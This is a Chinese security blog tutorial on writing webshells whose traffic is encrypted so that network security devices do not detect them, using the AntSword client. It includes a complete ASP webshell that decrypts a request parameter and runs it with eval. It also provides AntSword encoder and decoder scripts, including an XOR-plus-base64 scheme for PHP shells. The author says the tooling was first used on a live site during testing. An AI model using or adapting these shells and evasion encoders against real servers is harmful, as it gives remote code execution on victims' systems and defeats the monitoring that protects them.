浅谈蚁剑asp马和php马流量加密

 

最近测试某 asp 站点的时候,上传了Webshell,直接写死执行代码的马可以成功访问并执行;可是如果是正常的 eval 马,直接访问是倒是可以,但蚁剑直接连接会超时。这时候考虑有可能因为流量是明文的被一些安全设备拦截了。便产生了编写流量加密马的想法。

本文重点在讲如何快速上手没有接触过的编程语言,并将之转换为其他语言的思路和方法,以及流量加密的一些小想法,希望提供一些启发给大家。至于马儿的免杀就先不详细说了,网上也有很多免杀文。

 

初探 asp 加解密

虽然没有学过 asp。但是编程思想都是互通的嘛。实现方式百度百度,函数查查手册,其实也能做。说干就干。首先把环境搭建下吧。

在Windows Server 中用 IIS 就可以很快搭建起来的。不过在测试某 asp 站点的时候,存在目录遍历,而且遍历的目录中有它正在使用的 asp 服务端程序。叫做NetBox2。是个精简代替IIS的Asp脚本的Web环境软件。我就顺手下载拿来当服务端使用了。

直接点击 NetBox2程序,改程序将把当前目录作为网站根目录

有了服务端,接下来就可以编程序了。我想做的是一个流量加密马,想到流量加密自然想到了 rsa嘛,当场百度了一个 asp rsa 加密。兴致勃勃的将其运行。发现不太对劲,代码如下,有些长可以暂时不看,直接看代码最底下我写了注释那一段即可:

<%
Class clsRSA
Public PrivateKey
Public PublicKey
Public Modulus

Public Sub GenKey()
Dim lLngPhi
Dim q
Dim p
Randomize
Do
Do
' 2 random primary numbers (0 to 1000)
Do
p = Rnd * 1000 \ 1
Loop While Not IsPrime(p)
Do
q = Rnd * 1000 \ 1
Loop While Not IsPrime(q)
' n = product of 2 primes
Modulus = p * q \ 1
' random decryptor (2 to n)
PrivateKey = Rnd * (Modulus - 2) \ 1 + 2
lLngPhi = (p - 1) * (q - 1) \ 1
PublicKey = Euler(lLngPhi, PrivateKey)
Loop While PublicKey = 0 Or PublicKey = 1
' Loop if we can't crypt/decrypt a byte
Loop While Not TestCrypt(255)
End Sub

Private Function TestCrypt(ByRef pBytData)
Dim lStrCrypted
lStrCrypted = Crypt(pBytData, PublicKey)
TestCrypt = Crypt(lStrCrypted, PrivateKey) = pBytData
End Function

Private Function Euler(ByRef pLngPHI, ByRef pLngKey)
Dim lLngR(3)
Dim lLngP(3)
Dim lLngQ(3)
Dim lLngCounter
Dim lLngResult
Euler = 0
lLngR(1) = pLngPHI: lLngR(0) = pLngKey
lLngP(1) = 0: lLngP(0) = 1
lLngQ(1) = 2: lLngQ(0) = 0
lLngCounter = -1
Do Until lLngR(0) = 0
lLngR(2) = lLngR(1): lLngR(1) = lLngR(0)
lLngP(2) = lLngP(1): lLngP(1) = lLngP(0)
lLngQ(2) = lLngQ(1): lLngQ(1) = lLngQ(0)
lLngCounter = lLngCounter + 1
lLngR(0) = lLngR(2) Mod lLngR(1)
lLngP(0) = ((lLngR(2)\lLngR(1)) * lLngP(1)) + lLngP(2)
lLngQ(0) = ((lLngR(2)\lLngR(1)) * lLngQ(1)) + lLngQ(2)
Loop
lLngResult = (pLngKey * lLngP(1)) - (pLngPHI * lLngQ(1))
If lLngResult > 0 Then
Euler = lLngP(1)
Else
Euler = Abs(lLngP(1)) + pLngPHI
End If
End Function

Public Function Crypt(pLngMessage, pLngKey)
On Error Resume Next
Dim lLngMod
Dim lLngResult
Dim lLngIndex
If pLngKey Mod 2 = 0 Then
lLngResult = 1
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
Else
lLngResult = pLngMessage
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
On Error Resume Next
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
End If
Crypt = lLngResult
End Function

Private Function IsPrime(ByRef pLngNumber)
Dim lLngSquare
Dim lLngIndex
IsPrime = False
If pLngNumber < 2 Then Exit Function
If pLngNumber Mod 2 = 0 Then Exit Function
lLngSquare = Sqr(pLngNumber)
For lLngIndex = 3 To lLngSquare Step 2
If pLngNumber Mod lLngIndex = 0 Then Exit Function
Next
IsPrime = True
End Function

Public Function Encode(ByVal pStrMessage)
Dim lLngIndex
Dim lLngMaxIndex
Dim lBytAscii
Dim lLngEncrypted
lLngMaxIndex = Len(pStrMessage)
If lLngMaxIndex = 0 Then Exit Function
For lLngIndex = 1 To lLngMaxIndex
lBytAscii = Asc(Mid(pStrMessage, lLngIndex, 1))
lLngEncrypted = Crypt(lBytAscii, PublicKey)
Encode = Encode & NumberToHex(lLngEncrypted, 4)
Next
End Function

Public Function Decode(ByVal pStrMessage)
Dim lBytAscii
Dim lLngIndex
Dim lLngMaxIndex
Dim lLngEncryptedData
Decode = ""
lLngMaxIndex = Len(pStrMessage)
For lLngIndex = 1 To lLngMaxIndex Step 4
lLngEncryptedData = HexToNumber(Mid(pStrMessage, lLngIndex, 4))
lBytAscii = Crypt(lLngEncryptedData, PrivateKey)
Decode = Decode & Chr(lBytAscii)
Next
End Function

Private Function NumberToHex(ByRef pLngNumber, ByRef pLngLength)
NumberToHex = Right(String(pLngLength, "0") & Hex(pLngNumber), pLngLength)
End Function

Private Function HexToNumber(ByRef pStrHex)
HexToNumber = CLng("&h" & pStrHex)
End Function

End Class


Dim LngKeyE
Dim LngKeyD
Dim LngKeyN
Dim StrMessage
Dim ObjRSA

Set ObjRSA = New clsRSA
Call ObjRSA.GenKey()

' 这里是得到生成的两个Key和一个Modulus
LngKeyE = ObjRSA.PublicKey
LngKeyD = ObjRSA.PrivateKey
LngKeyN = ObjRSA.Modulus

' 打印下上面三个密钥
response.write(LngKeyE&"</br")
response.write(LngKeyD&"</br>")
response.write(LngKeyN&"</br>")

' 需要被加密的明文
StrMessage = "justTest"

' 打印密文
StrMessage = ObjRSA.Encode(StrMessage)
response.write(StrMessage&"</br>")
'打印解密后的明文
StrMessage = ObjRSA.Decode(StrMessage)
response.write(StrMessage&"</br>")
%>

页面输出:

这就不好玩了,Rsa不是有公钥和私钥吗,格式应该是长这样的:

这就有点头大了,因为如果加密方式不是常规的 Rsa 的话,蚁剑那边是 javascript 编写的,就不能直接使用javascript的 Rsa 加密方法了。

再找找看看还有没有别的文章关于 asp Rsa 加密,可惜没有找到。。

那咋办。看着这加密得如此完美的密文,咬咬牙,那我们就仿照他的加解密算法,用 javascript 模仿 asp 写一个出来吧!

在我测试的那个站点中,写死的执行代码是能够回显的,但是使用蚁剑是连接超时,猜测应该是安全设备检测到了攻击流量,遂进行拦截。

但是响应的流量是不拦截的。不然我写死执行代码的 asp 文件不应该能够回显。

明确了是发送端流量需要加密后,我们便写一个蚁剑的编码器即可。编码器的功能为将发送的攻击流量进行加密。那么我们只需要仿写 asp 加密代码中的 Encode 函数即可。工作量一下子又少了一些呢。

由于蚁剑的使用的是 javascript,编码器也不例外。我们可以先不在蚁剑中编写代码,在外面新建一个 html 文件写 javascript 即可。

 

Javascript 仿写 Asp 加密函数

阅读下 asp 版的代码,可以发现它是编写了一个加密类。并且有三个成员变量。这三个成员变量就相当于加密的密钥

Class clsRSA
Public PrivateKey
Public PublicKey
Public Modulus
……

阅读加密函数,如下:

Public Function Encode(ByVal pStrMessage)
Dim lLngIndex
Dim lLngMaxIndex
Dim lBytAscii
Dim lLngEncrypted
lLngMaxIndex = Len(pStrMessage)
If lLngMaxIndex = 0 Then Exit Function
For lLngIndex = 1 To lLngMaxIndex
lBytAscii = Asc(Mid(pStrMessage, lLngIndex, 1))
lLngEncrypted = Crypt(lBytAscii, PublicKey)
Encode = Encode & NumberToHex(lLngEncrypted, 4)
Next
End Function

可以看到,加密函数中使用了 PublicKey。而这些 Key 的生成是在 GenKey 函数中:

Public Sub GenKey()
Dim lLngPhi
Dim q
Dim p
Randomize
Do
Do
' 2 random primary numbers (0 to 1000)
Do
p = Rnd * 1000 \ 1
Loop While Not IsPrime(p)
Do
q = Rnd * 1000 \ 1
Loop While Not IsPrime(q)
' n = product of 2 primes
Modulus = p * q \ 1
' random decryptor (2 to n)
PrivateKey = Rnd * (Modulus - 2) \ 1 + 2
lLngPhi = (p - 1) * (q - 1) \ 1
PublicKey = Euler(lLngPhi, PrivateKey)
Loop While PublicKey = 0 Or PublicKey = 1
' Loop if we can't crypt/decrypt a byte
Loop While Not TestCrypt(255)
End Sub

这。。。有点多。算了,本着最小化工作的原则,反正Key值在 asp 中也能生成,而且生成之后就是固定的。那我们就直接用 asp 中生成好的 Key 来进行加密即可。就可以不仿写生成key的 GenKey 函数,减少工作量。毕竟我的马还等着我去连它呢。。。

我们再访问一次 asp 文件,拿到三个密钥,新建好一个 html 文件中写好 js代码:

<script type="text/javascript">
var PublicKey = 31043
var PrivateKey = 26603
var Modulus = 30749
</script>

查询了下百度,发现 dim 为 asp 定义变量。那我们也跟着定义变量:

接着代码为:

lLngMaxIndex = Len(pStrMessage)
If lLngMaxIndex = 0 Then Exit Function

其实一眼也能看出来,第一个是获取 pStrMessage 的长度,接着是进行 if 判断,如果 lLngMaxIndex == 0,则退出函数。不过为了保险起见,最好还是查查手册。

地址:https://www.w3schools.com/asp/asp_conditionals.asp

可以配合 google 语法进行搜索,即

site:w3schools.com xxxxx

查完手册发现确实如此。翻看原来的 asp 文件可以知道 变量 pStrMessage 就是待加密的明文。这个 if 判断判断其长度不为零便需要终止函数,我们也得改写成函数

改写:

改写 for 循环,asp 的 for 循环其实和 for i=0;i<x;i++ 一样。

接着是 for 循环里的一些函数,这些看看手册就能在 js 中找到对应的函数

第10行去调用了 asp 中自定义的函数 Crypt,这。。。工作量又得加大了。。暂时先不管,把 Encode 函数全部改写完先。

查了下手册可以知道, asp 函数返回值就是设置一个和函数名一样的变量,并给其赋值即可。

“&” 在 asp 中表示字符连接,变量连接。相当于 js 中的 “+” 或者 php 中的 “.”。

所以 Encode 函数 for 循环中最后一行的意思是:每次循环得到的数都需要累计保存起来,最后在函数退出时将其返回。

改写如下:

接着需要仿写 Crypt 和 NumberToHex 两个函数了。不急,慢慢来,耐住性子。

有了仿写 Encode 函数的经验,仿写这个就相对比较简单了

asp 中

^ 表示乘方

Mod 表示求余

改写如下,其中 for循环条件的 -1 是为了防止数组越界:

整个加密流程改写好后,现在本地测试下:

原明文: helloWorld

密文:2daa61596159540b2382540b687661591df7

在asp中,设死三个密钥,让其与我们 js中的一致,然后再输出下 helloWorld 的加密值:

这。。。居然不一样。

这时就要展示强大的 debug 技巧了:

在js 和 asp 的 for 循环中对变量进行输出调试,进行对比,找不同

最后发现,由于 js 中循环变量初始值为1,循环时将会漏掉数组中第0个变量,导致结果不一样。

我们让Encode 和 Crypt 的 for 循环中让变量初始值设置为0即可:

密文成功对应

这样 js 的加密部分基本就结束了,下面上蚁剑。

 

编写蚁剑编码器

首先编写下 asp 马,马儿只需要解密功能即可,将接收到的加密代码进行解密,之后使用 eval 函数。代码如下:

<%
Class clsRSA
Public PrivateKey
Public PublicKey
Public Modulus
Public Sub GenKey()
PublicKey = "31043"
PrivateKey = "26603"
Modulus = "30749"
End Sub
Public Function Crypt(pLngMessage, pLngKey)
On Error Resume Next
Dim lLngMod
Dim lLngResult
Dim lLngIndex
If pLngKey Mod 2 = 0 Then
lLngResult = 1
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
Else
lLngResult = pLngMessage
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
On Error Resume Next
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
End If
Crypt = lLngResult
End Function
Public Function Decode(ByVal pStrMessage)
Dim lBytAscii
Dim lLngIndex
Dim lLngMaxIndex
Dim lLngEncryptedData
Decode = ""
lLngMaxIndex = Len(pStrMessage)
For lLngIndex = 1 To lLngMaxIndex Step 4
lLngEncryptedData = HexToNumber(Mid(pStrMessage, lLngIndex, 4))
lBytAscii = Crypt(lLngEncryptedData, PrivateKey)
Decode = Decode & Chr(lBytAscii)
Next
End Function
Private Function HexToNumber(ByRef pStrHex)
HexToNumber = CLng("&h" & pStrHex)
End Function
End Class
Set ObjRSA = New clsRSA
Call ObjRSA.GenKey()
StrMessage = request("d1a2t3a4")
' 解密密文
StrMessage = ObjRSA.Decode(StrMessage)
' 使用eval执行
eval(StrMessage)
%>

接着编写蚁剑编码器,在 Encoders manager中,点击 New Encoder -> ASP。新建一个编码器,然后点击 Edit 进行编辑

刚创建好的编码器长这样:

说明下,在蚁剑中:

data[‘_’] 为原始payload

data[pwd] 为实际上发出去的payload。我们需要修改 data[‘_’],然后将其值赋值给 data[pwd]

修改如下:

/**
* asp::编码器
* Create at: 2020/11/21 11:38:36
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
var PublicKey = 31043
var PrivateKey = 26603
var Modulus = 30749

function Crypt(pLngMessage, pLngKey){
var lLngMod = ''
var lLngResult = ''
var lLngIndex = 0
if(pLngKey % 2 == 0){
lLngResult = 1
for (lLngIndex = 0; lLngIndex < (pLngKey/2)-1; lLngIndex++) {
lLngMod = (pLngMessage * pLngMessage) % Modulus
lLngResult = (lLngMod * lLngResult) % Modulus
}
}
else{
lLngResult = pLngMessage
for (lLngIndex = 0; lLngIndex < (pLngKey/2)-1; lLngIndex++) {
lLngMod = (pLngMessage * pLngMessage) % Modulus
lLngResult = (lLngMod * lLngResult) % Modulus
}
}
return lLngResult

}

function NumberToHex(pLngNumber, pLngLength){
var s = "0".repeat(pLngLength) + pLngNumber.toString(16)
s = s.substring(s.length-pLngLength,s.length)
return s
}

function Encode(pStrMessage){
var lLngIndex = ''
var lLngMaxIndex = ''
var lBytAscii = ''
var lLngEncrypted = ''
var res = ''
lLngMaxIndex = pStrMessage.length
if(lLngMaxIndex == 0){
return 0;
}
for(lLngIndex=0;lLngIndex<lLngMaxIndex;lLngIndex++){
lBytAscii = pStrMessage[lLngIndex].charCodeAt()
lLngEncrypted = Crypt(lBytAscii, PublicKey)
res = res + NumberToHex(lLngEncrypted, 4)
}
return res
}
//需要加密的明文为蚁剑的流量
var e = Encode(data['_'])
//更新蚁剑payload
data[pwd] = e

// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

编写好后在蚁剑中新增一个数据,设置一下url和连接密码等。

注意这里有个小细节,就是如果在之前的步骤中,如果生成三个key的时间比较长,那么后续解密的时候时间也是会长一些,可以把超时时间设置长一点点,或者可以选择重新生成一个时间比较短的key值。

ps:在文末有该项目的github地址,里面生成key的算法稍稍优化了一些,不会导致连接卡顿。

我们开启 wireshark 抓下包看看:

成功加密流量:

 

PHP流量加密

本来想试着写写 asp 响应包流量也加密的。可是在解码器中没有看到 asp 。只有一个 php。

这时突发奇想,那就做一个请求和响应 双加密的 php 马儿吧!说干就干,冲冲冲。

首先确定下 php 的流量该如何加密。如果用常规的 RSA 加密的话,需要使用 openssl 库方可使用。个人感觉这样子太重量级的,而且要是 php 没有装 openssl 库的话我们的加密马就用不了了。

个人认为加密的话,只要让安全设备还原不出正确的明文,即可过掉安全设备的流量监控。所以我们只需要采用简单的异或手法即可。

代码:

<?php
$number=2;
$s = "testHelloworld";
$res = '';
//取每个字符的 ascii码,逐一异或
for ($i=0; $i < strlen($s); $i++) {
//对比下新值和原值
echo ord($s[$i]).' ';
echo (ord($s[$i])^$number). '|';

$res .= ord($s[$i])^$number;
$res .= '/';
}
//最后会多一个 / ,需要手动去掉
$encode = rtrim($res,'/');
var_dump('</br>'.$encode);
?>

输出:

可以看到,异或了之后,原值和新值是不一样的。

加密后还需要还原,解密代码:

<?php
$number=2;
$s = "testHelloworld";
$res = '';
for ($i=0; $i < strlen($s); $i++) {
echo ord($s[$i]).' ';
echo (ord($s[$i])^$number). '|';
$res .= ord($s[$i])^$number;
$res .= '/';
}
$encode = rtrim($res,'/');
var_dump('</br>'.$encode.'</br>');

//------解密代码-------
$res = '';
//按照 / 分割字符的ascii码
$encode = explode('/',$encode);

foreach ($encode as $key => $value) {
echo ($value^$number).'|';
//将ascii码异或回原值
$res .= chr($value^$number);
}
var_dump($res);
?>

也发现其正常还原了数据:

不过直接用有个小问题,就是如果加密的是中文的话,就会有可能乱码。

为了以防万一,我们先将其进行 base64编解码,然后再进行加解密:

<?php
$number=2;
$s = "你好世界";
//先进行base64编码
$s = base64_encode($s);
$res = '';
for ($i=0; $i < strlen($s); $i++) {
$res .= ord($s[$i])^$number;
$res .= '/';
}
$encode = rtrim($res,'/');
echo $encode;
$res = '';
$encode = explode('/',$encode);

foreach ($encode as $key => $value) {
$res .= chr($value^$number);
}
//base64解码再输出
echo "</br>". base64_decode($res);
?>

ok,完美妈妈给完美开门,完美到家了。

直接上蚁剑,编码器如下:

/**
* php::x1_xor_encoder
* Create at: 2020/11/19 16:39:55
* Author: Xiaopan233
*/

'use strict';
module.exports = (pwd, data, ext={}) => {
var number = 2
var res = ''
//将payload进行base64编码
var d = btoa(data['_'])
//取每个字符的ascii码值进行异或
for (var i=0;i<d.length;i++) {
var t = d[i].charCodeAt()
t = t^number;
res += t
//以 / 进行分割
res += '/'
}
data[pwd] = res
delete data['_'];
return data;
}

解码器目前似乎只有php的:

解码器代码:

/**
* php::x1_xor_decoder
* Create at: 2020/11/19 17:07:35
* Author: Xiaopan233
*/
'use strict';

module.exports = {
//这里为蚁剑发送payload过去之后,客户端应该如何回显。$out值为回显的数据
asoutput: () => {
return `function asenc($out){
$number=2;
$res = '';
//首先base64编码再加密
$out = base64_encode($out);
for ($i=0; $i < strlen($out); $i++) {
$res .= ord($out[$i])^$number;
$res .= '/';
}
return rtrim($res,'/');
}
`.replace(/\n\s+/g, '');
},

decode_buff: (data, ext={}) => {
var number=2;
var res = '';
//data是一个原型链,得先toString才能用
var s = data.toString()
s = s.split("/")
for(var i in s){
if(i == "unique"){
break
}
var n = s[i]^number
res += String.fromCharCode(n)
}
//base64解码
return atob(res);
}
}

测试,流量成功加密:

关于蚁剑的流量加密的编码器,我写了个小项目。如果师傅们喜欢就赏个star呗= =

 

项目地址

https://github.com/xiaopan233/AntSword-Cryption-WebShell

 

Refer

asp 手册:https://www.w3schools.com/asp/asp_conditionals.asp

(完)